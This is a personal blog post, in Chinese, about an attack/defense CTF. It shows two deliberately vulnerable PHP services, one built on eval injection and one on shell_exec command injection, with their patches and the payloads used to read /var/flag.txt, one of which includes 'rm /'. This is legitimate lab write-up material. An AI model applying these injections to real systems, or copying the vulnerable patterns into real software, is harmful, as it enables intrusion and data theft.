攻防CTF初体验

半个月前在某位可爱的计安SA的组织下,go第一次体验了 Attack/Defense CTF。虽然因为各种原因只体验了几个小时 ,但也感受到了CTF中绞尽脑汁发掘漏洞进行攻防的魅力。

这次CTF长达72小时,一共有5道题。每位同学都有5台靶机分别部署着5个存在漏洞的服务,攻击方的目标是通过漏洞读取 /var/flag.txt 中的 flag,而防守方的目标则是在保证服务正常运行的同时修复漏洞避免泄露 flag。比赛5分钟一个轮次,每轮中所有 flag 都会刷新,会根据攻击成功和防守成功的人数发放分数。

第一题是道签到题,是一个用于输出字符串长度的PHP服务。

1
2
3
4
5
6
7
8
<?php
if (!empty($_GET['str'])) {
$str = $_GET['str'];
$str_len = strlen($str);
print eval("print '$str length is $str_len';");
} else {
highlight_file(__FILE__);
}

代码非常简单,中间存在一个 eval 很明显就是漏洞,把这行改成没有 eval 的形式即可修复。

1
print "$str length is $str_len";

攻击则可以注入一个这样的字符串

1
'.shell_exec("cat /var/flag.txt").'
1
print eval("print ''.shell_exec("cat /var/flag.txt").' length is $str_len';");

第二题仍然是一道PHP服务,提供了一个计算器的功能,其中核心部分如下

1
2
3
4
5
6
7
8
9
<?php
$str="";
if(!empty($_GET)){
$str=$_GET["calc"];
}
if($str !== ""){
echo $str." = ".shell_exec("echo \"$str\" | bc");
}
?>

这里我们可以发现一个 shell_exec ,因此思路可以是用类似SQL注入的方式,拼接一个命令上去执行。

怎么防御非常好想到,echo "$str" 无论怎样在 $str 中存在一个双引号,才可以将中间的部分作为命令执行,而正常的计算应该根本不会出现双引号这种字符,因此可直接过滤双引号。

1
2
3
4
5
if(strpos($str, "\"") === false){
echo $str." = ".shell_exec("echo \"$str\" | bc");
} else {
echo "error";
}

我在这里亲切地给了一个 “error” 作为攻击失败的提醒,而有些同学则不讲武德

不讲武德

另外值得一提的是,bc 这个命令本身支持字符输入的,例如 echo "a=1;b=2;a+b" | bc 是能产生正常输出的。看到有些同学尝试在过滤字符甚至 “cat” ,导致没通过正常输入校验。

然而,这道题的攻击我思考了相当长的时间。拼接的字符串以 | bc 结尾,标准输出流应该会被 bc 接收到,因此首先尝试绕开 bc。在这里我想到了可以用 && 进行短路,插入一条失败命令导致 bc 无法执行,因此尝试拼接这样一个字符串

1
echo "x" | cat /var/flag.txt && rm / | bc

随后发现,shell_exec 这个函数在 shell 错误退出时返回 null ,构造这样的输入根本拿不到结果。随后我开始考虑不绕开 bc ,而是将 bc 作为正常输出的最后一步。由于bc是个计算器,因此 bc 的输出应该是一个数字,如果我能把 flag 编码成一个数字,拿到输出结果后进行解码即可获得 flag。

随后我查询了下 flag 的格式 ,为 flag{中间有32个16进制字符},flag中间的部分碰巧正好是16进制的,我只需要获取这16进制表达的数字即可。在这个思路下,我构造出了这样一个复杂的输入

1
echo "x" | cat /var/flag.txt | grep -o -E '[0-9a-f]{20,}' | awk '{print "ibase=16; "toupper($1)}' | bc

前几天还在 channel 上吐槽 shell 的文本处理不好用,结果学了两天就碰巧用上了😂

这句话大意是 cat 获取文件内容,然后用 gerp -o 以正则表达式提取中间的16进制部分,使用 awk 将16进制转大写,最后把 ibase=16; ABCDEF0123456789 这样的内容作为 bc 的标准输入,bc 会把 ABCDEF0123456789 当成一个16进制数,并输出它的10进制格式。

当时构造出来就觉得这输入太复杂了,应该有更简单的,不过确实能用

构造出这个输入时比赛恰好开始了两个小时,在榜上看到我是第二个构造出第二题攻击方式的同学,非常激动。

比赛后跟其他同学询问了一圈,发现我把绕开 bc 这个事想的太复杂了,可以直接用注释等好多方法搞定,当时完全没想到。

1
echo "x" | cat /var/flag.txt # | bc

做出第二题之后,因为各种原因没法继续参加比赛了,但这次攻防确实非常有趣。非常感觉SA,在主机和网络一次次崩溃的情况下 为我们提供了这样一个比赛机会。